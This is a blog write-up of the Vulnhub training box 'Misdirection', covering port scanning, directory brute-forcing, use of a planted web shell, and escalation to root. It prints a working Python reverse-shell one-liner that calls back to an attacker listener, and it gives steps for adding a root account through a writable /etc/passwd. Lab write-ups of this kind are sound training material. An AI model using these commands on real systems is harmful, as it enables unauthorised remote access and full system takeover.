Thursday 4 March 2021

Vulnhub Writeup - Misdirection

vulnhub - Misdirection

Vulnhub - Misdirection Writeup

Here’s another vulnhub box writeup

misdirection login

You can download the VM from Vulnhub

The purpose of this machine is to grant OSCP students further develop, strengthen, and practice their methodology for the exam.

You may have issues with VMware.

Initial Scans

Scan the subnet

nmap -sn

host is up at, run some basic scans


Open Ports

22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 64 Rocket httpd 1.2.6 (Python 2.7.15rc1)
3306/tcp open  mysql   syn-ack ttl 64 MySQL (unauthorized)
8080/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))

22/ssh - OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

May be useful later once a password is known or an ssh key is found.

80/http - Rocket httpd 1.2.6 (Python 2.7.15rc1)

Fairly non-standard HTTP Server at port 80.

home page

Webserver on http/80 seems very slow. gobuster took ages to even get past 24 requests, this makes it difficult to scan.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u -x php,txt,html,htm,bak -o ./root--dirlist-big.log

slow gobuster

e-vote source is linked from home page. Something to take a look at later.

3306/mysql - MySQL (unauthorized)

May be useful later with credentials.

8080/http - Apache httpd 2.4.29 ((Ubuntu))

Appears to have a wordpress install at /wordpress. Always fun to check these out. After a quick gobuster it looks like there is a webshell! pre-loaded at /debug/ - lol!

Here is my regular gobuster command line

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u -x php,txt,html,htm,bak -o ./root8080--dirlist-big.log

And here is the webshell!


I tried an nc reverse shell, but this machine doesn’t have the -e flag. Backup reverse shell with python is working.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1998));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]);'

Privesc from www-data

I immediately run sudo -l whenever I get a shell with a new user. This time it’s lucky

www-data@misdirection:/etc$ sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on localhost:
    (brexit) NOPASSWD: /bin/bash

The box is called misdirection so can it be this easy!?

www-data@misdirection:/etc$ sudo -u brexit /bin/bash


Thanks Brexit!

Privesc from brexit

The webroot for the e-vote system appears to be running as the brexit user account from this user’s home folder, so unlikely to provide a privesc. The webserver appears to be started with the script.


Browsing through the user’s home folder, I take a look at some of the files, .viminfo seems to have some interesting information in it.

cat .viminfo


---------------- snip ----------------

vim history has /etc/passwd

The vim history file has /etc/passwd in it from a non-root user. Perhaps brexit has write privs?

ls -al /etc/passwd

/etc/passwd has brexit group

I guess thanks again, Brexit!

With write access to the /etc/passwd file, it’s simple to add a new user with root privileges and a known password, then login as that user.

In order to use nano and type a password, we need to upgrade the shell to a regular tty

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color

Press ^Z

stty raw -echo
stty size

The size of your tty in rows and columns is shown


stty rows XX cols XX

Use openssl to generate a password hash

openssl passwd -1 -salt salt pass123 

create a password hash

Edit /etc/passwd

nano /etc/passwd

Paste in the new user line with the new password in the following format.


edit /etc/passwd

su to the new user account and enter pass123 as the password.

su newuser

box done!

I found this box straightforward, but I guess there are a bunch of rabbit holes that I thankfully walked straight past! Shows the importance of doing all your recon before jumping in to trying to research / exploit something.

Written with StackEdit.

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